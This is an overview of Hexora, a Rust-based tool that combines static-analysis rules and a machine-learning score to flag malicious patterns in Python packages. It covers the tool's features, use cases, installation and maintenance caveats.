hexora: Detect Malicious Python Code with Ruff and ML

Overview

Hexora is a static analysis tool for detecting malicious and harmful patterns in Python code. It combines a rule-based engine with a machine-learning model that scores whole files, and uses the AST parser from Astral's Ruff to parse code. The project is implemented in Rust and provides a Python package and command-line interface for analyzing Python source.

It is designed for security audits where suspicious behavior may appear in a package or script, including supply-chain investigations and review of newly uploaded PyPI packages. Findings include rule codes, source locations, descriptions, and confidence levels, helping analysts distinguish stronger signals from potentially legitimate uses of sensitive APIs.

Key Features

• Scans individual Python files, directories, and installed packages.
• Combines specific static-analysis rules with a machine-learning score for each file.
• Reports findings with source locations, rule identifiers, explanations, and confidence levels.
• Includes rules for execution, obfuscation, data access, exfiltration, suspicious imports, and install hooks.
• Supports filtering by confidence and excluding selected rule codes to reduce noise.
• Offers both a hexora command-line interface and Python functions for auditing paths or files.
• Includes a Cargo-based benchmarking command for evaluating rules against a malicious-package dataset.

Use Cases

• Security engineers can scan dependencies or virtual-environment packages when investigating a possible supply-chain attack.
• Package maintainers can review a Python project before release for suspicious execution, data access, or install hooks.
• Incident responders can inspect scripts and indicators collected from malicious-code investigations.
• Analysts monitoring PyPI can use Hexora to triage newly published packages for suspicious behavior.

Getting Started

Install with Python 3.9 or later:

pip install hexora

Then run hexora --help or audit a file with hexora audit path/to/file.py. See the repository README for options, Python API examples, and rule details.

Considerations

The project is active, with regular commits and releases, but its work is highly concentrated in one of its two contributors. Recent issue handling is limited in the supplied activity data, and no pull requests were merged in the measured period. The supplied project facts also report no test suite, so teams adopting it should assess detection behavior against their own code and known samples. Hexora's confidence levels are not proof of malicious intent: the README notes that some flagged behavior also has legitimate uses. The required Rust toolchain is relevant alongside the Python runtime, particularly for development or Cargo-based benchmarking.